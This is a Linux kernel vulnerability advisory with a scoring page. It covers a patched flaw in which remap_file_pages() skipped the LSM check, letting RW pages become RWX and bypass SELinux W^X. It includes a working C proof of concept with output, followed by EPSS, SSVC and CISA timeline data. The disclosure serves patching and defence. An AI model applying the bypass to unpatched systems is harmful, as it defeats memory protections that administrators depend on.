In the Linux kernel, the following vulnerability has been resolved:
mm: call the security_mmap_file() LSM hook in remap_file_pages()
The remap_file_pages syscall handler calls do_mmap() directly, which
doesn't contain the LSM security check. And if the process has called
personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
RW pages, this will actually result in remapping the pages to RWX,
bypassing a W^X policy enforced by SELinux.
So we should check prot by security_mmap_file LSM hook in the
remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
potentially permits an attacker to bypass a W^X policy enforced by
SELinux.
The bypass is similar to CVE-2016-10044, which bypass the same thing via
AIO and can be found in [1].
The PoC:
$ cat > test.c
int main(void) {
size_t pagesz = sysconf(_SC_PAGE_SIZE);
int mfd = syscall(SYS_memfd_create, "test", 0);
const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
MAP_SHARED, mfd, 0);
unsigned int old = syscall(SYS_personality, 0xffffffff);
syscall(SYS_personality, READ_IMPLIES_EXEC | old);
syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
syscall(SYS_personality, old);
// show the RWX page exists even if W^X policy is enforced
int fd = open("/proc/self/maps", O_RDONLY);
unsigned char buf2[1024];
while (1) {
int ret = read(fd, buf2, 1024);
if (ret <= 0) break;
write(1, buf2, ret);
}
close(fd);
}
$ gcc test.c -o test
$ ./test | grep rwx
7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)
[PM: subject line tweaks]
What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)
The EG score (7.8): severity, escalated by confirmed exploitation. This CVE's 7.8 is its impact severity (EG Severity), not escalated.
- EG Severity
- 7.8 HIGHCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
- EG Likelihood
- 0.3% within 30 daysSource: FIRST EPSS (model v2026.06.15, score date 2026-10-19). FIRST's exploitation probability, not an EchelonGraph model.
- Confirmed exploitation
- None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
- EG Priority
- SSVC Track at medium mission impactTrack at every mission impact level.CISA BOD 26-04: 60 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source: the SSVC and BOD 26-04 blocks below.
SSVC (CISA's decision table, applied by EchelonGraph)Track at every mission impact level.
A fix is available. Apply it within your standard update timelines.
Exploitation none (CISA Vulnrichment) · Automatable no (CISA Vulnrichment) · Technical impact partial (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table
BOD 26-04 (CISA's remediation timeline, Table 1)60 days if the affected system is publicly exposed; Fix on system upgrade if it is not.
In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA Vulnrichment) · Technical impact partial (CISA Vulnrichment). Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it